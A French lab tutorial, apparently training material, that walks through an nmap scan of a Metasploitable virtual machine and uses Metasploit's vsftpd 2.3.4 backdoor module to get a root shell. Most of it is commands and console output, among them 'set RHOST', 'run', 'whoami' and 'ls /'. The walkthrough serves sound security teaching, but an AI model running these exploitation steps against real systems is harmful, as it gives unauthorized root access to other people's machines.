Exploitation d'une faille applicative via Metasploit

DOCUMENT CREATED
BY ERICSSON

CYBERSÉCURITÉ

Étape 1 : Découverte du service FTP

```
Fichier   Actions   Éditer   Vue   Aide

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet?
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql?
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; O
Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Depuis Kali Linux, ouvre un terminal.

Lance un scan sur l'adresse IP de Metasploitable pour découvrir les services actifs :

nmap -sV 172.16.10.2

Analyse des résultats Nmap :

- **Port 21/tcp (FTP)** :
  - **Service** : vsftpd
  - **Version** : 2.3.4 (connue pour avoir une backdoor vulnérable

Étape 2 : Lancer Metasploit

```
Shell No.1
Fichier   Actions   Éditer   Vue   Aide
%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%
%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%
%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%

                        Press SPACE BAR to continue


       =[ metasploit v5.0.83-dev                          ]
+ -- --=[ 1994 exploits - 1089 auxiliary - 340 post       ]
+ -- --=[ 560 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to check out the result of h
osts and services

msf5 >
```

Sur Kali Linux, ouvre un terminal et lance **Metasploit**:

Commande à exécuter **: msfconsole**

Commande à exécuter **: search vsftpd**

- Recherche le module correspondant à la vulnérabilité de **vsftpd 2.3.4** :

```
msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Che
ck  Description
   -  ----                                  ---------------  ----       ---
--  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No
    VSFTPD v2.3.4 Backdoor Command Execution

msf5 >
```

```
   #  Name                                  Disclosure Date  Rank       Che
ck  Description
   -  ----                                  ---------------  ----       ---
--  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No
    VSFTPD v2.3.4 Backdoor Command Execution

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Sur Kali Linux, ouvre un terminal et lance **Metasploit**:

Commande à exécuter **: msfconsole**

Commande à exécuter **: search vsftpd**

- Recherche le module correspondant à la vulnérabilité de **vsftpd 2.3.4**

Commande :

use exploit/unix/ftp/vsftpd_234_backdoor

- Charge le module trouvé en utilisant cette commande

Étape 3 : Configurer l'exploit

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.16.10.2
RHOST => 172.16.10.2
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.10.2      yes       The target host(s), range CIDR identi
fier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Définir l'adresse IP de la cible (Metasploitable) :

- Spécifie l'adresse IP de Metasploitable comme cible (**RHOST**) :

set RHOST 172.16.10.2

Étape 4 : Lancer l'attaque

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.16.10.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.16.10.2:21 - USER: 331 Please specify the password.
[+] 172.16.10.2:21 - Backdoor service has been spawned, handling...
[+] 172.16.10.2:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 → 172.16.10.2:6200) at 2024-
12-06 19:20:19 +0100
```

```
[*] 172.16.10.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.16.10.2:21 - USER: 331 Please specify the password.
[+] 172.16.10.2:21 - Backdoor service has been spawned, handling...
[+] 172.16.10.2:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 → 172.16.10.2:6200) at 2024-
12-06 19:20:19 +0100

whoami
root
```

```
Shell No.1
Fichier  Actions  Éditer  Vue  Aide
whoami
root
ls /
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Commande :

- Lance l'exploit avec la commande : **run**

Vérifie l'utilisateur actif : **whoami**

Résultat attendu : **root.**

Liste les fichiers système : **ls /**